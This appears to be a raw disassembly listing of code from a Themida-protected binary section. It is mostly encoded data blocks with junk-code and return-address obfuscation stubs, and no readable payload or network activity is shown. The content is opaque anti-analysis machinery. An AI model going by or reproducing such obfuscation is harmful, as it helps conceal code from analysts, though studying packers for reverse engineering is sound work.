dd 19F6964Fh, 0FA157586h, 979FB6ADh, 47DF5FF0h, 66439002h
dd 1CB48E00h, 31DEB011h, 0D1C0C99Eh, 0DCE4FB12h, 47DF93ABh
dd 0DA3ACDD8h, 49F1B724h, 0CABDC5DCh, 0B94DF178h, 0C8D31BAEh
dd 55C4CA93h, 0CC9FD43Bh, 9D21A261h, 1B2E5947h, 5DF6F386h
dd 91A9DE31h, 4DF220FCh, 4C974A8Eh, 8980CD42h, 211D6A72h
dd 535E4DF2h, 30DFAFC0h, 2C53D4FBh, 7C3DCAC1h, 0BBD3E477h
dd 0AEE32C5Eh, 9AB170DBh, 0F181F592h, 0E87B864Dh, 0BD523A03h
dd 42CDBF88h, 4D94480Dh, 814B3C44h, 2D384DF1h, 1AC74BC2h
dd 350BFCFh, 0DD3C530Ch, 0BFF45FB0h, 94EC59ECh, 4124AEDCh
dd 107h, 0C92DD152h, 0D433EAC9h, 29E853BCh, 0F2396621h
dd 770A154Dh, 0C0A5AE49h, 7729F901h, 91449F1h, 8C830BD4h
dd 27E8A63Fh, 0AA6529F2h, 0BBCCD4EBh, 0C84DF178h, 66452ABDh
dd 0E7A0A8BFh, 944DF178h, 0C5C2CA89h, 0B64DF178h, 15CC18ABh
dd 0E5BB4DAh, 0AEE7B919h, 31EA0124h, 0AA7DB25Dh, 0F1848DFAh
dd 50E3EE4Dh, 424Eh, 0A4AEA000h, 0D2E900BFh, 0DF5FBDCAh
dd 20B3BE47h, 0DF5FA7C0h, 94C9D4C7h, 0DF5F0B7Ch, 0E2FFB3C7h
dd 8D4C3943h, 5F196E76h, 0D6D9C7DFh, 75C7204Eh, 0B74A55EDh
dd 7B274048h, 495447DEh, 5D65FCh, 0AECF0000h, 0F901C0A5h
dd 49F18155h, 0A770A5B0h, 0E86928E7h, 1344A4B2h, 110EA194h
dd 0C4F91678h, 0F198E0ACh, 4F92D64Dh, 0D6AEB536h, 0E1AED348h
dd 0BE513D4Eh, 260B1471h, 0FC515F67h, 313C500Bh, 0B45B33FCh
dd 0F6EBD77Fh, 78371E27h, 1C34070h, 0A968734Ah, 14759AF0h
dd 8C5F947Bh, 0AE46FCF9h, 0F901C0A5h, 49F9A6B7h, 0E1AADFEAh
dd 0EAA362ADh, 0DDDA6DA2h, 0A7074A44h, 62814F53h, 7B93C833h
dd 2D82F94Fh, 3368A7E5h, 0BAEF206Ah, 558A57DBh, 0B5CE1327h
dd 497E91FCh, 0E434D76h, 0C519EFB3h, 0A26D2132h, 3DD2BC55h
dd 0C2CAE108h, 6E911FC5h, 3AD5B5B6h, 642B3CCFh, 1FF09E57h
dd 206717EAh, 636E9120h, 10B8ED58h, 5C32BD24h, 0C1CD66B3h
dd 0B6D68F4Eh, 7DE82763h, 6E192148h, 0D6E911Fh, 1F049702h
dd 358h, 3422C200h, 0BBF01F72h, 3E739CF2h, 0BFF41B75h
dd 457A95F6h, 0C9FE117Ch, 4D828D00h, 0CF040B84h, 568B8406h
dd 0DB10FF8Dh, 0E68956D4h, 4B951h, 0CE010000h, 4EE8359h
dd 5C243487h, 69E268h, 243C8900h, 3CDC68h, 24148900h, 493CBB53h
dd 0DF89061Ah, 83241C8Bh, 8B5404C4h, 0C4832414h, 0FD895504h
dd 8B086A89h, 0C481242Ch, 4, 5A2434FFh, 4C481h, 34FF0000h
dd 0C4815F24h, 4, 0F83298E9h, 0BF78C5FFh, 0AB2DE850h, 0B8902D97h
dd 61A4E07h, 0E0FFC503h, 4ECA3378h, 5AB0A706h, 19D89B10h
dd 7C63076Eh, 73A39350h, 4F0488A1h, 7DE81468h, 10EBh, 3 dup(0)
dd 0C08B0000h, 6810F52h, 8B000000h, 12183995h, 0BD835A06h
dd 6122F01h, 83097500h, 122149BDh, 19740006h, 0C08B5350h
dd 42DB8h, 35858900h, 8D06120Bh, 14AD099Dh, 5BD3FF06h
dd 49BD8358h, 61221h, 53501774h, 42DB8h, 35858900h, 8D06120Bh
dd 14A9F89Dh, 5BD3FF06h, 65852958h, 6A061233h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
dd 4C33C355h, 122ECA72h, 840FC08Bh, 0
dd 1F698D8Bh, 85890612h, 61220C1h, 0F00F983h, 0BC84h, 14E800h
dd 4A7B0000h, 0CF87878Fh, 0C06E8093h, 0EDFE4F5Ah, 5097F83Bh
dd 81666F70h, 5AAD2ECAh, 2C3D8B64h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 0E94FC356h, 3F9A28E1h, 800F59F4h, 6, 8318D29h, 0F0BE0612h
dd 0B7CEF33h, 5A840FFFh, 0E8000000h, 0Bh, 96EFB85h, 4FC1B5BBh
dd 0E9F299FFh, 9, 908EFF8Eh, 5F710269h, 3F8B5E89h, 0C830Fh
dd 7E90000h, 18000000h, 0CC91623Fh, 32FCA03Ah, 57006AC0h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
dd 89AAF3DFh, 122FA5BDh, 41493506h, 0D78B5350h, 4BC3DBBAh
dd 0C185C678h, 47061215h, 0DF8B5660h, 4185295Eh, 61061212h
dd 64D9F068h, 0F52505Eh, 0D5BE6631h, 81585A42h, 0AE3C2404h
dd 6A7E71h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 880F29C3h, 0
; ---------------------------------------------------------------------------
push dword ptr [ebp+6123101h]
push 0
push ecx
call sub_600B45
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_600B45 proc near ; CODE XREF: Themida_:00600B3Dp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_600B45 endp
; ---------------------------------------------------------------------------
leave
mov bh, 0DFh
mov [ebp+6121A4Dh], edi
mov [ebp+6122A95h], ecx
lea eax, [ebp+615827Ah]
mov [ebp+6121D71h], ebx
call eax
mov edx, [ebp+6121A41h]
mov [ebp+6122715h], eax
mov esi, edi
mov byte ptr [ebp+61215C1h], 53h
movsx esi, si
push 688E0C97h
mov dx, ax
add dword ptr [esp], 200A5E65h
push 0
push esi
call sub_600BA4
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_600BA4 proc near ; CODE XREF: Themida_:00600B9Cp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_600BA4 endp
; ---------------------------------------------------------------------------
dd 4840FE7h, 66000000h, 0FFAD29BAh, 123101B5h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 0F3FF290Fh, 601325D5h, 0B70FFBB6h, 7A858DD1h, 0F061582h
dd 88h, 0FD0FF00h, 858DF3BFh, 61538FFh, 0C07FD281h, 0EDBA50AFh
dd 897DE7E3h, 1227F585h, 0CE95306h, 0A5000000h, 32D9246Fh
dd 17C12D8Eh, 5E4AA1A2h, 0FF6A206Ah, 27F595FFh, 49350612h
dd 0C7535041h, 12285585h, 106h, 0D185C700h, 61210h, 89000000h
dd 121EF595h, 8E0F06h, 8B000000h, 12139985h, 0A36406h
dd 8B000000h, 12160595h, 0EDBD8306h, 6122Eh, 2B840Fh, 13E80000h
dd 5B000000h, 0DF58D10Fh, 163113E4h, 5437DFE1h, 59DEF793h
dd 0B70F50AAh, 858B5EF6h, 6122875h, 270D9533h, 0E08B0612h
dd 1DBD83F8h, 61230h, 431850Fh, 8D890000h, 61221F9h, 15C185C6h
dd 6A560612h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 5931C356h, 0D0B4410Bh, 0E9E1D366h
dd 5, 24DF98E0h, 68C0FC9h, 8B000000h, 1211A995h, 6F036806h
dd 0BE66A440h, 481FE77h, 84C1DC24h, 8E805h, 0D0320000h
dd 44DA8634h, 0ADB632EEh, 585895Ah, 0FF061208h, 123101B5h
dd 81F18B06h, 0E0E40EDAh, 7A858D19h, 6A061582h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
dd 7D39C352h, 0DE8h, 6D18A000h, 28A29CB4h, 8F034445h, 95895926h
dd 61228C5h, 50D0FF5Eh, 16850Fh, 0AE80000h, 8D000000h
dd 92DDFD9Bh, 0CFBD9CA5h, 890F49h, 5A000000h, 89240489h
dd 120C319Dh, 3D8D8D06h, 81061229h, 9A6D92E2h, 0E8509159h
dd 9, 0E737E83Ah, 0E34B3C98h, 9CBA669Fh, 29915A74h, 121CE985h
dd 68046A06h, 9FA36789h, 0C0D7BE66h, 77240481h, 9605CA8h
dd 122911B5h, 61B5FF06h, 0BA061224h, 14C7FF83h, 850FD0FFh
dd 1Ah, 0EE8h, 0A0B61C00h, 461E11E6h, 39688575h, 8BEDA838h
dd 122A7195h, 0BD8B5E06h, 6122461h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 0D9C35242h, 3F71E2F6h, 7F03EA85h
dd 53006A3Ch, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 3D958B9Fh, 81061216h, 0F8C7h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 0BD897FC0h, 6120739h, 14319523h, 47C70612h, 2024h, 8F0F60h
dd 83000000h, 1A4E98BDh, 840F0006h, 158h, 12E9h, 40769500h
dd 0C2A1AA40h, 0C15CDA2Eh, 81B6EF30h, 9D89BA2h, 121A199Dh
dd 28C78306h, 2F31B58Bh, 7C70612h, 64696A2Eh, 7800Fh, 8F0F0000h
dd 1, 447C7F8h, 617461h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Bh, 80C35141h, 0A06DECDEh, 81781477h, 1170EFCEh
dd 95B58B68h, 66061233h, 858BF78Bh, 61A4EA0h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 65C35242h, 18CDD10Ah
dd 89D79AD0h, 85890C47h, 612161Dh, 4EA4858Bh, 6A061Ah
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 8958B3C3h, 8F0F0847h, 1, 28C783F9h, 12E853h, 6BD0000h
dd 0F5F31FC3h, 7F6F06D1h, 0F0979828h, 54A7423Eh, 5A5AD78Bh
dd 632E07C7h, 47C76E6Fh, 67696604h, 0CDB58B00h, 0E8061203h
dd 0Bh, 0DAA226D6h, 20CF1E58h, 89B7E5F7h, 120B1D85h, 858B5A06h
dd 61A4E9Ch, 3235958Bh, 0BF0F0612h, 0C4789F7h, 56AD5ABEh
dd 98858B15h, 6A061A4Eh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 3F09C357h, 84789ADh
dd 798D2958h, 8B061202h, 498D8DD6h, 6A06120Fh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 3F5C357h, 7FD754Eh, 0F38B50F8h, 9150915Eh, 398D8B60h
dd 8B061222h, 122E0995h, 0B5FF6106h, 612293Dh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 88C35343h, 958BE4DEh
dd 612088Dh, 4E8h, 100000h, 11E900h, 8A20000h, 40130599h
dd 4266007h, 0FFEA5113h, 50C989CAh, 0B238BA66h, 424448Bh
dd 8BF78Bh, 4244489h, 58D78B66h, 1D9D9D09h, 0B5FF0612h
dd 6122461h, 13E9h, 77EFD700h, 0E6A43D4Dh, 4BA5DBADh, 0A8614B2Ah
dd 1C42C56Ch, 6AD0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 33B47AC3h, 60C3A14Dh, 8B2EB7C2h
dd 12122595h, 0B8C6B206h, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_6010EF
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_6010EF proc near ; CODE XREF: Themida_:006010E7p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_6010EF endp
; ---------------------------------------------------------------------------
db 8Ah
db 0F0h, 8Bh, 0FFh
db 0E5h
dd 6F01CFh, 0B5E50DBh, 1D840FC0h, 66000000h, 0A0F6E281h
dd 3321B5FFh, 0B58B0612h, 61202D9h, 278195FFh, 8D310612h
dd 6120341h, 88BAC08Bh, 8B456E20h, 1220D195h, 1BD8306h
dd 6122Fh, 0BD830975h, 6122149h, 50197400h, 0B8C08B53h
dd 42Dh, 2B98589h, 9D8D0612h, 614AD70h, 585BD3FFh, 2149BD83h
dd 74000612h, 0B8535017h, 42Dh, 2B98589h, 9D8D0612h, 614AA11h
dd 585BD3FFh, 9E8h, 0F1A8AC00h, 25907A57h, 0BF0F27E0h
dd 8D295ED1h, 6120899h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 3B5568C3h, 8B9761C0h
dd 1202A5B5h, 8DC08B06h, 1A58398Dh, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 500A5ACDh
dd 3866570Dh, 81661ACFh, 894769F7h, 122DCD8Dh, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 0B706692Ch, 0F1A20792h, 0BD85C7A9h, 38061231h, 6A00006Bh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 9232C356h, 46F76BB4h, 1F459589h, 0EB800612h
dd 1185C73Dh, 61200h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 991CC352h, 592B0521h
dd 8B73EABDh, 1228B195h, 31B5FF06h, 6A061224h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 6023C356h, 65E11C62h, 39C28166h, 8195FF06h, 6A061227h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h
dd 43000000h, 83AC353h, 511CF201h, 8B61541Dh, 121C7D9Dh
dd 6840F06h, 89000000h, 1210A9B5h, 12E906h, 0E9EE0000h
dd 0AFB2EA12h, 1B59A143h, 7B5C14FBh, 0FE0BA0F1h, 95FF006Ah
dd 61229D1h, 58EBC08Bh, 0FCE283C2h, 2AE3680Fh, 6CB196F3h
dd 58F8267Ch, 0F21F3CACh, 377088DAh, 757CF1FFh, 366B1573h
dd 0E3E68226h, 396AD008h, 0FB8D954Ah, 3FF30996h, 84F30017h
dd 0DE423FB8h, 12A3F7BEh, 8B6A4A8Ch, 0F6C4A889h, 0E8465B27h
dd 0C5FEF7B3h, 0A126678Ch, 0B727D266h, 14708F7Dh, 12E8h
dd 0FA49E400h, 87811541h, 0BE883819h, 0C3A988F9h, 8B427C28h
dd 122FC99Dh, 8B665906h, 0BAC181C7h, 60000061h, 2B61F98Bh
dd 18B0FD2h, 0F9000000h, 890A34FFh, 122D6D8Dh, 89575E06h
dd 1230999Dh, 0F6815806h, 39655B63h, 0C6810EB3h, 659CB133h
dd 0EE81C28Bh, 0A0840B2h, 89113489h, 121DD19Dh, 0E8BB6606h
dd 1EA8370h, 12E9h, 46807B00h, 1B65EA77h, 4FBEE627h, 5CB78012h
dd 4A0717CCh, 0B8664A4Ah, 0FA812778h, 0FFFF9F0Ch, 1C850Fh
dd 0D8810000h, 6F901CFCh, 2EE9h, 0F1CEA600h, 6080859Dh
dd 98A706D9h, 90229DFCh, 0F60DBBDh, 587h, 854AB900h, 0E96109DFh
dd 0FFFFFF70h, 0F34A67F0h, 3CD26DB6h, 8DCE12C5h, 1A5A408Dh
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h
dd 0C3564600h, 8D769851h, 71BA815Eh, 2DCD8D89h, 0F560612h
dd 198Eh, 14E900h, 5F920000h, 7C2291E0h, 0E91CEA9Ch, 0EAD2BBE0h
dd 4F9137F2h, 0C75B9D4Fh, 1231BD85h, 6B0C06h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 85C7DE33h, 6120011h, 0
; ---------------------------------------------------------------------------
jmp loc_6014D9
; ---------------------------------------------------------------------------
fisub dword ptr [ebx+2Eh]
leave
sub eax, 0B237442h
xor edi, edx
xor edi, [ebx]
imul byte ptr [edx-4572E541h]
loc_6014D9: ; CODE XREF: Themida_:006014C0j
push dword ptr [ebp+6120C89h]
mov bx, dx
call dword ptr [ebp+6122781h]
push 0
push edx
call sub_6014F3
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_6014F3 proc near ; CODE XREF: Themida_:006014EBp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_6014F3 endp
; ---------------------------------------------------------------------------
mov edx, 0E5E0B3C3h
dec edx
leave
mov eax, ds:0BBF3B70Fh
jl short near ptr loc_601515+2
mov al, 5
push 0
loc_601515: ; CODE XREF: Themida_:0060150Fj
call dword ptr [ebp+61229D1h]
mov eax, eax
jmp short loc_601569
; ---------------------------------------------------------------------------
db 3Fh
dd 167A5511h, 1B6C9624h, 0E7D104CCh, 0E5F642h, 0E44856B1h
dd 0FBC84ADAh, 10180D43h, 0ACCF5A40h, 43809EE5h, 0BEC35740h
dd 92FD8E82h, 0EF888F85h, 0FC568DFEh, 0D0461323h, 37616078h
dd 890CD9B6h, 0A24753ABh, 20F540B1h
db 1Dh
; ---------------------------------------------------------------------------
loc_601569: ; CODE XREF: Themida_:0060151Dj
jmp short $+2
jmp loc_6019C4
; ---------------------------------------------------------------------------
dd 0D5AB5DCh, 0AAF71874h, 49967911h, 0E330DFB0h, 7FCC434Ah
dd 0C5C8268Fh, 2764FD4Ah, 8E029BE8h, 0F39B3481h, 0A6F5CF1Ch
dd 0F9B9E99Eh, 0E7BD9A4Dh, 92F5FD14h, 0F147DF5Fh, 4A4253E6h
dd 601E6971h, 525D47DFh, 76BD8029h, 2F9AF61Ah, 0D84149E2h
dd 949C5BB4h, 47DFFBF3h, 0CD1A8590h, 67B45B34h, 9521EF70h
dd 0B629FED5h, 947B1223h, 30DFAE47h, 5833ECE3h, 781324B7h
dd 0EC21EEA1h, 6EEFAE19h, 91C8222Eh, 939023C8h, 2C7996FAh
dd 0C714FB93h, 0F71ECBDFh, 2B666D49h, 0BFF41B72h, 464859ECh
dd 0C4CB94C9h, 4E7D164Bh, 0C6B530CDh, 4BDE0FD6h, 6DBA553Ah
dd 5B1A0710h, 154B3C44h, 2D384DF9h, 1621666Eh, 57624DF9h
dd 853E55C4h, 1272050Ah, 500B3C68h, 0FF174C57h, 47EAFD8Ch
dd 7DB25D2Eh, 0FE394E56h, 3F4A47EAh, 2C61AEDEh, 0C318C94Dh
dd 2B627F9Bh, 22B760ABh, 15680h, 2109100h, 0FAE6F441h
dd 720D3BCEh, 0B5BFF41Bh, 605D5E66h, 7D4647DFh, 0DD77C57Fh
dd 66A9E15Eh, 925B90FBh, 2DC613FCh, 0C0A6F061h, 802D3E50h
dd 0F8CB000Fh, 0C1C6CE8Dh, 0C247E032h, 0F0174CB7h, 32B6D1D9h
dd 0BAC547E0h, 5C495227h, 67A8E49Dh, 0EB246932h, 0B978E3B6h
dd 0E032D6B1h, 79AA547h, 4F5E9098h, 5E6949F2h, 48EB1E9Fh
dd 0E2FAD20Bh, 0B3C26A4Fh, 457A95FAh, 4E93DF72h, 5514FB93h
dd 8D20EF9Ch, 0E72A3390h, 0F200A8DFh, 65D0DB4Dh, 70788FA6h
dd 4DF20117h, 8AFD0564h, 0F94DF200h, 0BCC483EEh, 4DF200CBh
dd 0BA1AADB8h, 50042978h, 0C0E71C27h, 7C6F423Fh, 0F4C7FC13h
dd 45CB0CBh, 0E22D6071h, 7E91FC95h, 8B8406BFh, 6A228356h
dd 0A02D12A5h, 0E2EAA996h, 47DF62F5h, 318EDBE6h, 637A3928h
dd 6343444Ch, 3F4047DFh, 0BC8FC44Bh, 0FD8A9251h, 7E47DF62h
dd 0A280E073h, 8D49F185h, 6542C382h, 0FBDA9150h, 3267A8E4h
dd 7C61F45Fh, 0E835DAB3h, 9CD13E4Fh, 3839F475h, 92E52CBDh
dd 15A813FCh, 1E8B3640h, 0E0FFD84Dh, 838B4AB5h, 4DF1E750h
dd 0E52A631Ch, 0B2FF0A52h, 3F763ABBh, 8BF5D580h, 0F1FC0483h
dd 16C774Dh, 0E9305D6Eh, 66396EA1h, 0AEF8AEFBh, 0F901C0A5h
dd 49F1782Dh, 4F184D58h, 1383D03Fh, 533BF4FFh, 21B487BCh
dd 9E5D424Ch, 4FC0CE87h, 0F177E89Fh, 0FD909B4Dh, 776F1CFCh
dd 434B4DF1h, 0C18C0DCCh, 7D92FD92h, 6C4C7548h, 0B8B54829h
dd 0E5A2AAC1h, 964DF22Fh, 0A7E7F88Bh, 246A3368h, 9098662Dh
dd 76E1C6D3h, 3DE6241h, 1C69A6E8h, 81060E25h, 0DB4DF1CCh
dd 0F1CCB4D3h, 24BCC74Dh, 0B9198619h, 6E24AE93h, 4Dh, 59314C0h
dd 34535BAEh, 4747DFB4h, 38C2133Ch, 818A5FF2h, 21CDD594h
dd 2449F25Bh, 0EAA15A19h, 86AD9225h, 5B20676Fh, 58634DF2h
dd 467B94F7h, 0BFCFE073h, 727A9150h, 4DF25B15h, 0CBC85B66h
dd 0A06F1BD4h, 0F605986Bh, 18h, 305B1460h, 44D7AADFh, 7EB35C33h
dd 3F78D9B5h, 0C90AB7E8h, 3CF23FAAh, 0A5F21D72h, 0A2AD5444h
dd 0C567294Dh, 30156E76h, 535E47E0h, 0D639551Eh, 31EAF9A1h
dd 0A97CB15Eh, 74178280h, 17AA6F0Ah, 3B8A16CBh, 0DF745033h
dd 6C222347h, 309B6EA3h, 48D95A71h, 0FA157653h, 0FE1DF8D1h
dd 3C02D36h, 0B346B17Ah, 0DF803453h, 25672047h, 0C7798F4h
dd 0D9263179h, 74C14E40h, 23A841A0h, 0D1000000h, 89B7418h
dd 351C72DAh, 0A98A816Ch, 22354D30h, 0C52C567Fh, 0A55E1D88h
dd 0B19629E6h, 1C69A6E8h, 1F724533h, 9CF2BBF0h, 1B753E73h
dd 95F6BFF4h, 117C457Ah, 8D00C9FEh, 0B844D82h, 8406CF04h
dd 0FF8D568Bh, 56D4DB10h, 0C681E689h, 4, 8704EE83h, 895C2434h
dd 0CE682404h, 89000068h, 9B68242Ch, 89000054h, 0BE56240Ch
dd 61A5A96h, 24048156h, 0FB859A0h, 0A0ED815Dh, 5E0FB859h
dd 240C8B54h, 8304C483h, 148904ECh, 8BA24h, 0CA010000h
dd 0FF5A2A89h, 81592434h, 4C4h, 2434FF00h, 4C4835Dh, 0F82220E9h
dd 0B9B7D3FFh, 0FBD76A8Eh, 7CEA7C90h
; ---------------------------------------------------------------------------
loc_6019C4: ; CODE XREF: Themida_:0060156Bj
mov eax, 61A5E79h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 2, 41h, 88h
dd 0BEF1055h, 0D483EA61h, 5C7FC820h, 648A1B63h, 0D7D27838h
dd 6724851Ch, 0CABF0F2Ah, 11E9h, 0D4193B00h, 51CB2B9Fh
dd 470ECA52h, 7CAA1DB7h, 6E94AC4h, 4E000000h, 1F01DF5Bh
dd 0FFA8B61h, 48Ah, 0A0BA6600h, 13E8FEh, 43940000h, 0D1239AB4h
dd 1D17684h, 4D03A219h, 9D9042F1h, 0C38B66EEh, 0F7F78158h
dd 666BD517h, 0E9C794BEh, 0Dh, 0EC96A46Dh, 26BFDEE5h, 0D883D89h
dd 13E97Fh, 43AD0000h, 8E7539DFh, 460114EEh, 0BC62C0A6h
dd 1478D424h, 2800FBBh, 8B000000h, 0E78166C7h, 66560849h
dd 0F59FB8Bh, 181h, 6660FC00h, 6661CF8Bh, 8B65D681h, 28A0Fh
dd 0EB8A0000h, 0BFBBC58Ah, 8B3ECCB7h, 0CC80F9F0h, 0BE9D0h
dd 0BE1A0000h, 745FC61Bh, 22EA62EEh, 0BA665167h, 0F85AE02Eh
dd 50CB8166h, 0F88B663Bh, 13E860h, 4ADF0000h, 0DC5808DBh
dd 0BA8E8909h, 0DEFAE468h, 9D50BA26h, 0BF0F5A2Eh, 820F61D8h
dd 2, 0EB819CB0h, 33172E63h, 8D0Fh, 12E90000h, 0BA000000h
dd 7606F605h, 0E29622F3h, 0EDBA55D1h, 57F3213Fh, 0C1B70F3Ch
dd 0EE9h, 2FAB4500h, 23EA0DB5h, 673BA2E1h, 668CC7EFh, 0FCF063B9h
dd 0AD04C181h, 0BE66379Dh, 0E953AF2Ch, 7, 0AF39C932h, 5EAB0340h
dd 11E9h, 2ED7E700h, 0CE700995h, 0E335F5Bh, 47FCDA4Eh
dd 0EE98BC5h, 0C1000000h, 9CD1CBABh, 0CA593E29h, 6EED83C3h
dd 8E8F50Bh, 14000000h, 23C6A714h, 0F4E175Dh, 0D86h, 8E900h
dd 0E5810000h, 0AF7AA451h, 0BE5B08FBh, 621A2348h, 6A32E181h
dd 8B664E6Dh, 51F78BF2h, 0C8C0F5Fh, 0E9000000h, 7, 1236CF04h
dd 81C7D401h, 0FDF664E2h, 0E9D98B6Ah, 0Ah, 2399BE28h, 737B769Eh
dd 0DE9C543h, 62000000h, 42112224h, 78C933F0h, 0D32B87B3h
dd 12E9h, 6D881D00h, 3656A724h, 0D6530C9Bh, 0C68DEE39h
dd 0FE1FAE9h, 0B866D7BFh, 14E8D2EDh, 0C0000000h, 47C6AE5h
dd 22E3E081h, 2DE624A6h, 0BC4B97E9h, 6605DF7Fh, 0E85EC18Bh
dd 6, 0E0B5F879h, 6E90897h, 0C4000000h, 397A66F9h, 0AE95FBAh
dd 0B8000000h, 0F120F9E6h, 7B3A095Fh, 0BE927h, 0EEBF0000h
dd 7007D0BBh, 7B356F1Ch, 0DE988h, 9C580000h, 3F3AD5E6h
dd 737795D4h, 0F5B6F09Fh, 0F557D18Bh, 0B70F6059h, 11E9C6h
dd 1A30000h, 0F42AAAFBh, 0E0C0341Ah, 47351328h, 6132B124h
dd 0DE97EB0h, 6F000000h, 0A011B041h, 5B1A1EBh, 833C903Bh
dd 0CE9h, 0F284DD00h, 2776EC1h, 0D99F92FFh, 66C18BABh
dd 8B78A2BFh, 0DCBE66C6h, 5D1CB9BDh, 8B6673A4h, 0BE8C3h
dd 0D8000000h, 9AE53097h, 977946CAh, 0F6B70FDBh, 0CE95Eh
dd 2A6C0000h, 0BA3CD946h, 0B91CDA6Eh, 870F77B5h, 8, 2890Fh
dd 0C18B0000h, 81BA6657h, 5E95EE5h, 6E000000h, 1DBEC4B0h
dd 92D98166h, 5EF9501Fh, 9EDA8166h, 0A2A7B8B0h, 81663C16h
dd 664CEDD1h, 56BFDA8Bh, 0E95A3AC0h, 6, 6AF3BEC2h, 0EE8F99Ah
dd 67000000h, 0EE631A1Dh, 0CEE0F697h, 0E7226ACBh, 0B9A5BB9Dh
dd 0E95A28F5h, 12h, 25F004h, 0B9053FF1h, 49135C2Ch, 307AF74Fh
dd 840F244Eh, 5, 0E0201FB9h, 92BA660Dh, 0BE9DAh, 724E0000h
dd 0E4044E4h, 0CA73D45Dh, 0F93B425h, 384h, 0FFB70F00h
dd 5A77BE66h, 810Fh, 890F0000h, 2, 8E8E78Ah, 2000000h
dd 0E5054333h, 8B7C795Dh, 8B665FF8h, 4584BEF7h, 0F98B545Eh
dd 2830Fh, 43B10000h, 10E9FCh, 0F0230000h, 2AAC7E0Ah, 6F853206h
dd 57F24A04h, 81FCA945h, 43F6D1DAh, 0FDE8B34h, 284h, 8ADA8B00h
dd 8E9D8h, 6CBD0000h, 24CFC288h, 8B663C39h, 0D08052D1h
dd 0EE95961h, 0CD000000h, 0ECC59E90h, 98BC1602h, 2111F3FBh
dd 81B8B30Dh, 831513C9h, 8B66605Eh, 6145B2DEh, 0AD0FBA66h
dd 0B820FF5h, 0F000000h, 583h, 98DEBB00h, 8B6603B6h, 0CB8B66D1h
dd 9E8h, 0A3D57900h, 48402EA8h, 6660B9BEh, 0F87D5BBBh
dd 0BE85961h, 0EE000000h, 3AAF936Ch, 0AC54B2A1h, 0C88A2538h
dd 890F605Bh, 4, 0B732BE66h, 12E9h, 0C47CAA00h, 94CFB24Ah
dd 0E19663C2h, 2A8E795Fh, 6191EBF0h, 2E98166h, 0CDB8668Eh
dd 0C7BA660Ch, 0B8A0F97h, 0F000000h, 580h, 0C94DBB00h
dd 8B0F10D9h, 8, 70CE8152h, 5A6A73D8h, 91FEF681h, 0B8662CDFh
dd 810F5962h, 5, 7CD4CB9h, 5E939h, 379F0000h, 66998A94h
dd 0CA81CE8Bh, 61CA8FD9h, 0E68166FCh, 0B70F437Fh, 0CE9D2h
dd 0D1070000h, 7F933C80h, 3D17526Ch, 880FC7B6h, 0
dd 0FFB8B66h, 48Eh, 0C18B5200h, 0F38B665Ah, 0AE8h, 0AA72EC00h
dd 1A852F3Bh, 0FCE6CBBh, 688h, 8D0F00h, 5E000000h, 66CC0ABBh
dd 0E8B8666Fh, 93B1BB19h, 0FE90700h, 19000000h, 0DB60B255h
dd 1228296Eh, 2871F593h, 8166D58Ah, 0F6961C6h, 58Ch, 0DF816600h
dd 860F4488h, 0
dd 0FBC781F9h, 6040CAB0h
; ---------------------------------------------------------------------------
mov bh, ah
loc_601F56: ; CODE XREF: Themida_:00601F6Ej
cmc
popa
adc si, 0CD05h
sub ax, 0D7BFh
pusha
movzx eax, dx
mov ecx, edi
popa
call sub_601F76
jbe short loc_601F56
pop ds
cld
fidiv dword ptr [edx-68h]
